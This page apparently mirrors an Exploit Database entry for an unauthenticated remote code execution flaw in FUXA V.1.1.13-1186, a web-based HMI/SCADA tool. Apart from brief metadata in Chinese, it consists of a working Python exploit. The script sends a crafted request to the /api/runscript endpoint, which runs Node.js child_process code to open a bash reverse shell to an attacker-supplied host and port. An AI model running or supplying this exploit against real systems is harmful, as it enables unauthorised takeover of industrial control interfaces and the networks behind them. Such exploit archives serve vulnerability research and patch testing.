FUXA V.1.1.13-1186 – Unauthenticated Remote Code Execution (RCE)

• Exploit Database
• 47 阅读

• 作者： Rodolfo Mariano
  日期： 2023-04-20
• 类别：

  • webapps
  平台：

  • typescript
• 来源：https://www.exploit-db.com/exploits/51385/

• # Exploit Title: FUXA V.1.1.13-1186- Unauthenticated Remote Code Execution (RCE)
  # Date: 18/04/2023
  # Exploit Author: Rodolfo Mariano
  # Vendor Homepage: https://github.com/frangoteam/FUXA
  # Version: FUXA V.1.1.13-1186 (current)
  
  from argparse import RawTextHelpFormatter
  import argparse, sys, threading, requests
  
  def main(rhost, rport, lhost, lport):
  url = "http://"+rhost+":"+rport+"/api/runscript"
  payload = {
  "headers":
  {
  "normalizedNames":{},
  "lazyUpdate": "null"
  },
  "params":{
  "script":{
  "parameters":[
  {
  "name":"ok",
  "type":"tagid",
  "value":""
  }
  ],
  "mode":"",
  "id":"",
  "test":"true",
  "name":"ok",
  "outputId":"",
  "code":"require('child_process').exec('/bin/bash -c \"/bin/sh -i >& /dev/tcp/%s/%s 0>&1\"')" % (lhost,lport)
  }
  }
  }
  response = requests.post(url, json=payload)
  args = None
  parser = argparse.ArgumentParser(formatter_class=RawTextHelpFormatter, usage="python exploit.py --rhosts <ip> --rport <rport>--lport <port>")
  parser.add_argument('--rhost', dest='rhost', action='store', type=str, help='insert an rhost')
  parser.add_argument('--rport', dest='rport', action='store', type=str, help='insert an rport', default=1881)
  parser.add_argument('--lhost', dest='lhost', action='store', type=str, help='insert an lhost')
  parser.add_argument('--lport', dest='lport', action='store', type=str, help='insert an lport')
  
  args=parser.parse_args()
  main(args.rhost, args.rport, args.lhost, args.lport)